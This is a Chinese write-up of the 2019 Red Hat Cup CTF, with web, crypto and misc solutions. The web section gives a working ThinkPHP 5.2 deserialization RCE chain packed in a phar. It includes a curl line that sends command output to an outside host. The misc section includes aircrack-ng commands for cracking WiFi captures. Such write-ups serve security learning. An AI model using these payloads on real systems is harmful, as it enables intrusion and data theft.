2019红帽杯

前言

打完湖湘杯紧接着就是红帽杯,两场比赛形成鲜明对比,吹一波pwn爷爷牛逼!

Web

Ticket_System

通过js可以找到postXML接口

14

XXE漏洞存在,读取根目录下的hints.txt得知需要实现rce

15

从报错页面得知thinkphp的版本为5.2.0,查到tp5.2的RCE pop链并利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");

public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("ls");
$Conver= new think\model\Pivot("curl http://ip:port/ -d `cmd`;");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>

通过ls打回发现根目录有flag和readflag,flag无法直接读,而拿下readflag放入ida发现需要提交问题答案才能得到flag,这里想到了*CTF的mywebsql,于是将那题的脚本写入上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
$question = fread($pipes[1],1024); // 获取程序问题
$question = fread($pipes[1],1024); // 获取程序问题
$question = trim($question);
var_dump($question);
eval('$result = '.$question.';'); // 计算问题结果
fwrite($pipes[0], $result); // 回答程序问题
fclose($pipes[0]);
var_dump($result);

// $flag = stream_get_contents($pipes[1]);// getflag
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);

fclose($pipes[1]);
var_dump($flag);

$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>

然后使用

1
php /tmp/uploads/4a8a08f09d37b73795649038408b5f33/20191111/a1366473906508668348fdf37c6c6feb.xml

运行flag弹回到端口上

Crypto

Broadcast

出题人失误,源文件直接给出了flag

由题目已知

20

由题目名联想到Related Message Attack,比赛的时候弟弟们只找到了这个Orz

https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Franklin-Reiter

没有找到下面这个paper,从这个paper可以找到一个推广的结论

https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf

16

据此可以构造同余方程组, 利用 Gtoebner Basis 对方程式的变量做线性变换的化解(类似于求代数方程的解) 即可解出初始状态获得 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import binascii
n = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
s = 280513550110197745829890567436265496990
c1 = 10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990
c2 = 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705
c3 = 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717

R.<x, y, z> = Zmod(n)[]
I = ideal(x + y + z - s, x^17 - c1, y^17 - c2, z^17 - c3)
res = I.groebner_basis()
#print(res)
m1 = n - Integer(res[0] - x)
m2 = n - Integer(res[1] - y)
m3 = n - Integer(res[2] - z)
m = (Integer(m3<<256) + Integer(m2<<128) + Integer(m1))
#print(m)
print(binascii.a2b_hex(hex(m)[2:]))

17

精明的Alice

题目名说是Broadcast,但实际上并不是简单的广播攻击。简单的广播攻击,前提是对同一个m加密,但在这一题里,显然每一次的m都不一样,并且e=3的时候,只有2个明密文对

1
2
3
4
5
6
data = {'from': sha256( b'Alice' ).hexdigest(),
'to' : sha256( name.encode() ).hexdigest(),
'msg' : msg
}
data = json.dumps(data, sort_keys=True)
m = number.bytes_to_long( data.encode() )

其中只有'to' : name会变,又由于json.dumps(data, sort_keys=True),data会根据key排序输出,即

18

可以发现,msg会被排序至中间这个位置。根据题目,我们可以知道每一个m的高、中位都是不变的,只不过低位变了而已,而我们要求的是中间的msg,参考SCTF的babygame

http://www.soreatu.com/ctf/writeups/Writeup%20for%20babygame%20in%202019%20SCTF.html

使用Broadcast Attack with Linear Padding

https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Hastad-Broadcast

19

Misc

签到

填问卷拿flag

Advertising for Marriage

查看文件发现vegetable.png,然后dump下来

1

但是这个图在kali里打不开,显示crc错误,拖出来爆破得到高度为d3,修改得到原图片

1
2
3
4
5
6
7
8
import binascii
import struct
img = open("vegetable.png","rb").read()
for i in range(1024):
c = img[12:20]+struct.pack('>i',i)+img[24:29]
crc32 = binascii.crc32(c) & 0xffffffff
if crc32 == 0xb80a1736:
print hex(i)

4

再次查看进程,发现画图进程mspaint.exe

2

dump下来经过一番处理得到:b1cx

3

查看notepad text

5

结合得到b1cxneedmoneyandgirlfirend,使用lsb隐写恢复数据

6

7

base64解密得到Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

Virginia解密得到flagisd7f1417bfafbf62587e0

8

恶臭的数据包

拿到数据包发现是wifi加密的流量,随便跑个字典拿到密码

1
aircrack-ng cacosmia.cap -w dict.txt

9

用essid和密码解密流量包

1
airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678

10

打开解密流量包,发现有一张png,并且在末尾发现一个压缩包,里面有flag.txt,但是需要密码

11

解密jwt,说密码是一个网址

12

过滤dns,把全部网址试一遍,最后找到这个

13

解压得到flag{f14376d0-793e-4e20-9eab-af23f3fdc158}